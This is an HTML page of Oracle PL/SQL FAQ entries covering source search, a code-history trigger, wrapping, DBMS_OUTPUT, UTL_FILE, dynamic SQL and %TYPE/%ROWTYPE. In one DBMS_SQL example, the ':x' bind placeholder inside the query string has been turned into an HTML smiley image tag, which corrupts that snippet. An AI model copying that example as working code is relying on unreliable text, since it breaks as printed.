<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;" align="center"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"> </span></p>
<div class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><br />
<hr size="2" /></span></div>
<h3 style="margin: auto 0in;"><a name="_How_can_one_1"></a><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: large;"><span style="color: #666699;">How can one search PL/SQL code for a string/ key value?</span></span></span></h3>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The following query is handy if you want to know where a certain table, field or expression is referenced in your PL/SQL source code. </span></span></p>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">        SELECT TYPE, NAME, LINE</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">        FROM   USER_SOURCE</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">        WHERE  UPPER(TEXT) LIKE '%&amp;KEYWORD%';</span></span></pre>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_top"><span style="font-size: small; color: #0000ff;">·  Back to top of file</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;" align="center"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"> </span></p>
<div class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><br />
<hr size="2" /></span></div>
<h3 style="margin: auto 0in;"><a name="_How_can_one_2"></a><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: large;"><span style="color: #666699;">How can one keep a history of PL/SQL code changes?</span></span></span></h3>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">One can build a history of PL/SQL code changes by setting up an AFTER CREATE schema (or database) level trigger (available from Oracle 8.1.7). This way one can easily revert to previous code should someone make any catastrophic changes. Look at this example: </span></span></p>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">        CREATE TABLE SOURCE_HIST                     -- Create history table</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">          AS SELECT SYSDATE CHANGE_DATE, USER_SOURCE.*</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">             FROM   USER_SOURCE WHERE 1=2;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;"> </span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">        CREATE OR REPLACE TRIGGER change_hist        -- Store code in hist table</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               AFTER CREATE ON SCOTT.SCHEMA          -- Change SCOTT to your schema name</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">        DECLARE</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">        BEGIN</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">          if DICTIONARY_OBJ_TYPE in ('PROCEDURE', 'FUNCTION',</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                          'PACKAGE', 'PACKAGE BODY', 'TYPE') then</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">             -- Store old code in SOURCE_HIST table</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">             INSERT INTO SOURCE_HIST</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                SELECT sysdate, user_source.* FROM USER_SOURCE</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                WHERE  TYPE = DICTIONARY_OBJ_TYPE</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                  AND  NAME = DICTIONARY_OBJ_NAME;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">          end if;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">        EXCEPTION</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">          WHEN OTHERS THEN</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               raise_application_error(-20000, SQLERRM);</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">        END;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">        /</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">        show errors</span></span></pre>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_top"><span style="font-size: small; color: #0000ff;">·  Back to top of file</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;" align="center"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"> </span></p>
<div class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><br />
<hr size="2" /></span></div>
<h3 style="margin: auto 0in;"><a name="_How_can_I"></a><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: large;"><span style="color: #666699;">How can I protect my PL/SQL source code?</span></span></span></h3>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">PL/SQL V2.2, available with Oracle7.2, implements a binary wrapper for PL/SQL programs to protect the source code. </span></span></p>
<p><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;">This is done via a standalone utility that transforms the PL/SQL source code into portable binary object code (somewhat larger than the original). This way you can distribute software without having to worry about exposing your proprietary algorithms and methods. SQL*Plus and SQL*DBA will still understand and know how to execute such scripts. Just be careful, there is no &#8220;decode&#8221; command available. </span></p>
<p><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;">The syntax is:</span></p>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               wrap iname=myscript.sql oname=xxxx.plb</span></span></pre>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_top"><span style="font-size: small; color: #0000ff;">·  Back to top of file</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;" align="center"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"> </span></p>
<div class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><br />
<hr size="2" /></span></div>
<h3 style="margin: auto 0in;"><a name="_Can_one_print"></a><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: large;"><span style="color: #666699;">Can one print to the screen from PL/SQL?</span></span></span></h3>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">One can use the DBMS_OUTPUT package to write information to an output buffer. This buffer can be displayed on the screen from SQL*Plus if you issue the <em>SET SERVEROUTPUT ON;</em> command. For example: </span></span></p>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               set serveroutput on</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               begin</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                  dbms_output.put_line('</span></span><span style="font-size: 11pt; color: blue; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;">Look Ma, I can print from PL/SQL!!!</span><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">');</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               end;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               /</span></span></pre>
<p><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;">DBMS_OUTPUT is useful for debugging PL/SQL programs. However, if you print too much, the output buffer will overflow. In that case, set the buffer size to a larger value, eg.: set serveroutput on size 200000 </span></p>
<p><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;">If you forget to set serveroutput on type <em>SET SERVEROUTPUT ON</em> once you remember, and then <em>EXEC NULL;</em>. If you haven&#8217;t cleared the DBMS_OUTPUT buffer with the disable or enable procedure, SQL*Plus will display the entire contents of the buffer when it executes this dummy PL/SQL block. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_top"><span style="font-size: small; color: #0000ff;">·  Back to top of file</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;" align="center"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"> </span></p>
<div class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><br />
<hr size="2" /></span></div>
<h3 style="margin: auto 0in;"><a name="_Can_one_read/write"></a><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: large;"><span style="color: #666699;">Can one read/write files from PL/SQL?</span></span></span></h3>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Included in Oracle 7.3 is an UTL_FILE package that can read and write operating system files. The directory you intend writing to has to be in your INIT.ORA file (see UTL_FILE_DIR=&#8230; parameter). Before Oracle 7.3 the only means of writing a file was to use DBMS_OUTPUT with the SQL*Plus SPOOL command. </span></span></p>
<p><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;">Copy this example to get started: </span></p>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               DECLARE</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 fileHandler UTL_FILE.FILE_TYPE;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               BEGIN</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 fileHandler := UTL_FILE.FOPEN('/tmp', 'myfile', 'w');</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 UTL_FILE.PUTF(fileHandler, 'Look ma, I''m writing to a file!!!\n');</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 UTL_FILE.FCLOSE(fileHandler);</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               EXCEPTION</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 WHEN utl_file.invalid_path THEN</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                    raise_application_error(-20000, 'ERROR: Invalid path for file or path not in INIT.ORA.');</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               END;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               /</span></span></pre>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_top"><span style="font-size: small; color: #0000ff;">·  Back to top of file</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;" align="center"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"> </span></p>
<div class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><br />
<hr size="2" /></span></div>
<h3 style="margin: auto 0in;"><a name="_Can_one_call"></a><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: large;"><span style="color: #666699;">Can one call DDL statements from PL/SQL?</span></span></span></h3>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">One can call DDL statements like CREATE, DROP, TRUNCATE, etc. from PL/SQL by using the &#8220;EXECUTE IMMEDATE&#8221; statement. Users running Oracle versions below 8i can look at the DBMS_SQL package (see FAQ about Dynamic SQL). </span></span></p>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               begin</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                  EXECUTE IMMEDIATE 'CREATE TABLE X(A DATE)';</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               end;</span></span></pre>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">NOTE: The DDL statement in quotes should not be terminated with a semicolon. </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_top"><span style="font-size: small; color: #0000ff;">·  Back to top of file</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;" align="center"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"> </span></p>
<div class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><br />
<hr size="2" /></span></div>
<h3 style="margin: auto 0in;"><a name="_Can_one_use"></a><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: large;"><span style="color: #666699;">Can one use dynamic SQL statements from PL/SQL?</span></span></span></h3>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">Starting from Oracle8i one can use the &#8220;EXECUTE IMMEDIATE&#8221; statement to execute dynamic SQL and PL/SQL statements (statements created at run-time). Look at these examples. Note that statements are NOT terminated by semicolons: </span></span></p>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               EXECUTE IMMEDIATE 'CREATE TABLE x (a NUMBER)';</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;"> </span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               -- Using bind variables...</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               sql_stmt := 'INSERT INTO dept VALUES (:1, :2, :3)';</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               EXECUTE IMMEDIATE sql_stmt USING dept_id, dept_name, location;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;"> </span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">        -- Returning a cursor...</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               sql_stmt := 'SELECT * FROM emp WHERE empno = :id';</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               EXECUTE IMMEDIATE sql_stmt INTO emp_rec USING emp_id;</span></span></pre>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">One can also use the older DBMS_SQL package (V2.1 and above) to execute dynamic statements. Look at these examples: </span></span></p>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               CREATE OR REPLACE PROCEDURE DYNSQL AS</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 cur integer;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 rc  integer;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               BEGIN</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 cur := DBMS_SQL.OPEN_CURSOR;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 DBMS_SQL.PARSE(cur, 'CREATE TABLE X (Y DATE)', DBMS_SQL.NATIVE);</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 rc := DBMS_SQL.EXECUTE(cur);</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 DBMS_SQL.CLOSE_CURSOR(cur);</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               END;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               /</span></span></pre>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">More complex DBMS_SQL example using bind variables: </span></span></p>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               CREATE OR REPLACE PROCEDURE DEPARTMENTS(NO IN DEPT.DEPTNO%TYPE) AS</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 v_cursor integer;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 v_dname  char(20);</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 v_rows   integer;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               BEGIN</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 v_cursor := DBMS_SQL.OPEN_CURSOR;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 DBMS_SQL.PARSE(v_cursor, 'select dname from dept where deptno &gt; <img src='http://www.dailyinfobyte.com/wp-includes/images/smilies/icon_mad.gif' alt=':x' class='wp-smiley' /> ', DBMS_SQL.V7);</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 DBMS_SQL.BIND_VARIABLE(v_cursor, ':x', no);</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 DBMS_SQL.DEFINE_COLUMN_CHAR(v_cursor, 1, v_dname, 20);</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 v_rows := DBMS_SQL.EXECUTE(v_cursor);</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 loop</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                   if DBMS_SQL.FETCH_ROWS(v_cursor) = 0 then</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                      exit;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                   end if;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                   DBMS_SQL.COLUMN_VALUE_CHAR(v_cursor, 1, v_dname);</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                   DBMS_OUTPUT.PUT_LINE('Deptartment name: '||v_dname);</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 end loop;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 DBMS_SQL.CLOSE_CURSOR(v_cursor);</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               EXCEPTION</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                 when others then</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                      DBMS_SQL.CLOSE_CURSOR(v_cursor);</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                      raise_application_error(-20000, 'Unknown Exception Raised: '||sqlcode||' '||sqlerrm);</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               END;</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               /</span></span></pre>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><a href="http://172.25.103.176/Extl_FAQ/xfaq_10575/xfaq_10575.htm#_top"><span style="font-size: small; color: #0000ff;">·  Back to top of file</span></a><span style="font-size: small;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;" align="center"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"> </span></p>
<div class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><br />
<hr size="2" /></span></div>
<h3 style="margin: auto 0in;"><a name="_What_is_the"></a><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="font-size: large;"><span style="color: #666699;">What is the difference between %TYPE and %ROWTYPE?</span></span></span></h3>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="font-size: small;">The %TYPE and %ROWTYPE constructs provide data independence, reduces maintenance costs, and allows programs to adapt as the database changes to meet new business needs. </span></span></p>
<p><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;">%ROWTYPE is used to declare a <strong><em>record</em></strong> with the same types as found in the specified database table, view or cursor. Example:</span></p>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               DECLARE</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                  v_EmpRecord  emp%ROWTYPE;</span></span></pre>
<p><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;">%TYPE is used to declare a <strong><em>field</em></strong> with the same type as that of a specified table&#8217;s column. Example:</span></p>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">               DECLARE</span></span></pre>
<pre><span style="font-size: 11pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;;"><span style="color: #00008b;">                  v_EmpNo  emp.empno%TYPE;</span></span></pre>
